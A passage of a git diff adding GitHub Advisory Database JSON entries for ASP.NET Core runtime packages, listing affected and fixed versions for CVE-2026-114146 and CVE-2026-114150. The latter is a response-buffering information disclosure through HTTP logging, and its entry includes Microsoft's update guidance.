9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/security/advisories/GHSA-67wp-ghc2-fw2g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114146"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/504"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/514c86030195fd6b649bb26c48975a043d96b791"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/db8579880b30153dbd601fa079f49e7e3ce42e08"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/e1ae50f427a49c76528376a5b3af8216bfda55bc"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/discussions/70467"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v10.0.15"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v11.0.0"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v8.0.34"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v9.0.23"},{"type":"PACKAGE","url":"https://github.com/dotnet/aspnetcore"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/10.0/10.0.15/10.0.15.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/8.0/8.0.34/8.0.34.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/9.0/9.0.23/9.0.23.md"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114146"}],"database_specific":{"cwe_ids":["CWE-863"],"github_reviewed":true,"github_reviewed_at":"2026-11-11T00:21:56Z","nvd_published_at":"2026-11-10T19:19:07Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-6vjv-7wm8-p67r.json b/data/NuGet/GHSA-6vjv-7wm8-p67r.json
new file mode 100644
index 0000000000..441c246f91
--- /dev/null
+++ b/data/NuGet/GHSA-6vjv-7wm8-p67r.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-6vjv-7wm8-p67r","published":"2026-11-11T00:20:47Z","modified":"2026-11-11T00:30:10.164572605Z","aliases":["CVE-2026-114150"],"summary":"Microsoft Security Advisory CVE-2026-114150 - ASP.NET Core Information Disclosure Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core. This advisory provides guidance on updating affected applications and components.\n\nA reused `ResponseBufferingStream` can retain pooled tail memory and expose response-body data from another request through HTTP logging.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/514\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** Medium\n- **Score:** 5.9 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N/E:U/RL:O/RC:C`\n- **Weakness:** CWE-908\n\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe tables list affected version ranges and fixed package versions. Runtime and standalone deliveries are listed separately.\n\n### .NET 11.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 11.0.0-preview.2.26159.112, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 11.0.0-preview.2.26159.112, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 11.0.0-preview.2.26159.112, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 11.0.0-preview.2.26159.112, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 11.0.0-preview.2.26159.112, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 11.0.0-preview.2.26159.112, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 11.0.0-preview.2.26159.112, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 11.0.0-preview.2.26159.112, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 11.0.0-preview.2.26159.112, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 11.0.0-preview.2.26159.112, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 11.0.0-preview.2.26159.112, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCheck the deployed runtime and application package versions against the affected ranges above. Self-contained applications include their own runtime; updating a machine-wide runtime does not replace it.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nInstall the applicable runtime or update each independently referenced package to the fixed version above. Restart applications. Rebuild and redeploy self-contained applications; updating a machine-wide runtime does not replace their embedded runtime. An SDK update alone does not update an application's standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-114150](https://www.cve.org/CVERecord?id=CVE-2026-114150)\n\n### Acknowledgements\n\n- [Kevin Gosse](https://x.com/kookiz/)\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.2.26159.112"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6vjv-7wm8-p67r/GHSA-6vjv-7wm8-p67r.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.2.26159.112"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6vjv-7wm8-p67r/GHSA-6vjv-7wm8-p67r.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.2.26159.112"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6vjv-7wm8-p67r/GHSA-6vjv-7wm8-p67r.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.2.26159.112"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6vjv-7wm8-p67r/GHSA-6vjv-7wm8-p67r.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.2.26159.112"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6vjv-7wm8-p67r/GHSA-6vjv-7wm8-p67r.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.2.26159.112"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6vjv-7wm8-p67r/GHSA-6vjv-7wm8-p67r.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.2.26159.112"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6vjv-7wm8-p67r/GHSA-6vjv-7wm8-p67r.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.2.26159.112"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6vjv-7wm8-p67r/GHSA-6vjv-7wm8-p67r.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.2.26159.112"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 